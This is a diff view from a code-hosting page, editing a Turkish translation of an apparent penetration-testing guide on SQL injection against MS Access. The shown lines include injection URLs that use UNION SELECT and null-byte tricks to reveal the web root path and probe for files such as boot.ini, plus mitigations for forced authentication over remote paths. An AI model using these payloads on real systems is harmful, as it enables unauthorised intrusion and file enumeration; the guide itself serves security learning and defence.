### Diğer İlginç Fonksiyonlar
|
### Diğer İlginç Fonksiyonlar
|
||||||
|
|
||||||
@ -124,7 +124,7 @@ Uzak arama tarafından eklenen ekstra saniyeler, boolean koşulları için bir *
|
|||||||
- `IIF(1=1,'a','b')` eğer o zaman
|
- `IIF(1=1,'a','b')` eğer o zaman
|
||||||
- `COUNT(*)` öğe sayısını sayar
|
- `COUNT(*)` öğe sayısını sayar
|
||||||
|
|
||||||
## Tabloları Sayma
|
## Tabloları Listeleme
|
||||||
|
|
||||||
[**buradan**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) tablo adlarını almak için bir sorgu görebilirsiniz:
|
[**buradan**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) tablo adlarını almak için bir sorgu görebilirsiniz:
|
||||||
```sql
|
```sql
|
||||||
@ -142,7 +142,7 @@ Ancak, `MSysObjects` tablosunu okuma erişiminiz olmadığında SQL Enjeksiyonla
|
|||||||
|
|
||||||
### Web Kök Dizin Tam Yolu
|
### Web Kök Dizin Tam Yolu
|
||||||
|
|
||||||
**Web kök mutlak yolunun bilgisi, daha fazla saldırıyı kolaylaştırabilir**. Uygulama hataları tamamen gizlenmemişse, mevcut olmayan bir veritabanından veri seçmeye çalışarak dizin yolu ortaya çıkarılabilir.
|
**Web kök mutlak yolunun bilgisi, daha fazla saldırıyı kolaylaştırabilir**. Uygulama hataları tamamen gizlenmemişse, dizin yolu, var olmayan bir veritabanından veri seçmeye çalışarak ortaya çıkarılabilir.
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||||
|
|
||||||
@ -154,7 +154,7 @@ Aşağıdaki saldırı vektörü, **uzaktaki dosya sisteminde bir dosyanın varl
|
|||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||||
|
|
||||||
Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesini belirtmektir**. **Eğer** belirtilen **dosya mevcutsa**, MS Access, **veritabanı format hatası mesajı** gösterir.
|
Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesi belirtmektir**. **Eğer** belirtilen **dosya mevcutsa**, MS Access, **veritabanı format hatası mesajı** gösterir.
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||||
|
|
||||||
@ -193,7 +193,7 @@ Hafifletmeler (eski Classic ASP uygulamaları için bile önerilir):
|
|||||||
|
|
||||||
* `HKLM\Software\Microsoft\Jet\4.0\Engines` altında `AllowQueryRemoteTables = 0` kayıt değerini ekleyin (ve eşdeğer ACE yolunda). Bu, Jet/ACE'nin `\\` ile başlayan uzak yolları reddetmesini zorlar.
|
* `HKLM\Software\Microsoft\Jet\4.0\Engines` altında `AllowQueryRemoteTables = 0` kayıt değerini ekleyin (ve eşdeğer ACE yolunda). Bu, Jet/ACE'nin `\\` ile başlayan uzak yolları reddetmesini zorlar.
|
||||||
* Ağ sınırında outbound SMB/WebDAV'yi engelleyin.
|
* Ağ sınırında outbound SMB/WebDAV'yi engelleyin.
|
||||||
* Bir `IN` ifadesinin içinde yer alabilecek herhangi bir sorgu parçasını temizleyin / parametreleştirin.
|
* Bir `IN` ifadesinin içinde yer alabilecek sorgunun herhangi bir kısmını temizleyin / parametreleyin.
|
||||||
|
|
||||||
Zorunlu kimlik doğrulama vektörü, 2023'te Check Point Research tarafından yeniden incelendi ve kayıt anahtarı yokken tamamen yamanmış Windows Server'da hala istismar edilebilir olduğunu kanıtladı. citeturn0search0
|
Zorunlu kimlik doğrulama vektörü, 2023'te Check Point Research tarafından yeniden incelendi ve kayıt anahtarı yokken tamamen yamanmış Windows Server'da hala istismar edilebilir olduğunu kanıtladı. citeturn0search0
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user